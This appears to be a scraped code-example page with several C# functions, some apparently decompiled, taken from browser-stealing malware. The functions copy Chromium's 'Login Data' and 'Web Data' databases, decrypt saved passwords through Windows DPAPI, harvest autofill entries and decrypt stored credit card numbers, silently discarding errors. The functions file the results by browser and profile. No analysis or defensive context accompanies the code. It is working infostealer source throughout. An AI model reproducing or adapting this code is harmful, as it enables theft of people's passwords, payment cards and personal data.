Example #1
0
        public static void Get_Autofill(string profilePath, string browser_name, string profile_name)
        {
            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                var    cNT  = new sqlite.CNT(GetCookies.CreateTempCopy(text));
                cNT.ReadTable("autofill");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    AutofillCount++;
                    try
                    {
                        Autofill.Add($"Name : {cNT.ParseValue(i, "name").Trim()}{Environment.NewLine}Value : {cNT.ParseValue(i, "value").Trim()}");
                    }
                    catch { }
                }

                foreach (string v in Autofill)
                {
                    Autofill_List.Add($"Browser : {browser_name}{Environment.NewLine}Profile : {profile_name}{Environment.NewLine}{v}{Environment.NewLine}");;
                }
                Autofill.Clear();
            }
            catch { }
        }
        public static void Passwords_Grab(string profilePath, string browser_name, string profile)
        {
            try
            {
                string text = Path.Combine(profilePath, "Login Data");
                browser_name_list.Add(browser_name);
                profile_list.Add(profile);

                var cNT = new sqlite.CNT(GetCookies.CreateTempCopy(text));
                cNT.ReadTable("logins");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    Cpassword++;
                    try
                    {
                        credential.Add($"Site_Url : {cNT.ParseValue(i, "origin_url").Trim()}{Environment.NewLine}Login : {cNT.ParseValue(i, "username_value").Trim()}{Environment.NewLine}Password : {GetCookies.DecryptBlob(cNT.ParseValue(i, "password_value"), DataProtectionScope.CurrentUser).Trim()}{Environment.NewLine}");
                    }
                    catch  { }
                }
                foreach (string v in credential)
                {
                    password.Add($"Browser : {browser_name}{Environment.NewLine}Profile : {profile}{Environment.NewLine}{v}");
                }
                credential.Clear();
            }
            catch { }
        }
 // Token: 0x06000184 RID: 388 RVA: 0x0000AEAC File Offset: 0x000090AC
 public static void Get_CC(string profilePath, string Browser_Name, string Profile_Name)
 {
     try
     {
         SqlHandler sqlHandler = new SqlHandler(GetCookies.CreateTempCopy(Path.Combine(profilePath, "Web Data")));
         sqlHandler.ReadTable("credit_cards");
         int rowCount = sqlHandler.GetRowCount();
         for (int i = 0; i < rowCount; i++)
         {
             Get_Credit_Cards.CCCouunt++;
             try
             {
                 string @string = Encoding.UTF8.GetString(DecryptAPI.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(i, 4)), null));
                 string value   = sqlHandler.GetValue(i, 1);
                 string value2  = sqlHandler.GetValue(i, 2);
                 string value3  = sqlHandler.GetValue(i, 3);
                 string value4  = sqlHandler.GetValue(i, 9);
                 Get_Credit_Cards.CC.Add(string.Format("{0}\t{1}/{2}\t{3}\t{4}\r\n******************************\r\n", new object[]
                 {
                     value,
                     value2,
                     value3,
                     @string,
                     value4
                 }));
             }
             catch
             {
             }
         }
         foreach (string text in Get_Credit_Cards.CC)
         {
             Get_Credit_Cards.CC_List.Add(string.Concat(new string[]
             {
                 "Browser : ",
                 Browser_Name,
                 Environment.NewLine,
                 "Profie : ",
                 Profile_Name,
                 Environment.NewLine,
                 text
             }));
         }
         Get_Credit_Cards.CC.Clear();
     }
     catch
     {
     }
 }
Example #4
0
 // Token: 0x0600017D RID: 381 RVA: 0x0000A4C8 File Offset: 0x000086C8
 public static void Get_Autofill(string profilePath, string browser_name, string profile_name)
 {
     try
     {
         Sqlite sqlite = new Sqlite(GetCookies.CreateTempCopy(Path.Combine(profilePath, "Web Data")));
         sqlite.ReadTable("autofill");
         for (int i = 0; i < sqlite.GetRowCount(); i++)
         {
             Get_Browser_Autofill.AutofillCount++;
             try
             {
                 Get_Browser_Autofill.Autofill.Add(string.Concat(new string[]
                 {
                     "Name : ",
                     sqlite.GetValue(i, "name").Trim(),
                     Environment.NewLine,
                     "Value : ",
                     sqlite.GetValue(i, "value").Trim()
                 }));
             }
             catch
             {
             }
         }
         foreach (string text in Get_Browser_Autofill.Autofill)
         {
             Get_Browser_Autofill.Autofill_List.Add(string.Concat(new string[]
             {
                 "Browser : ",
                 browser_name,
                 Environment.NewLine,
                 "Profile : ",
                 profile_name,
                 Environment.NewLine,
                 text,
                 Environment.NewLine
             }));
         }
         Get_Browser_Autofill.Autofill.Clear();
     }
     catch
     {
     }
 }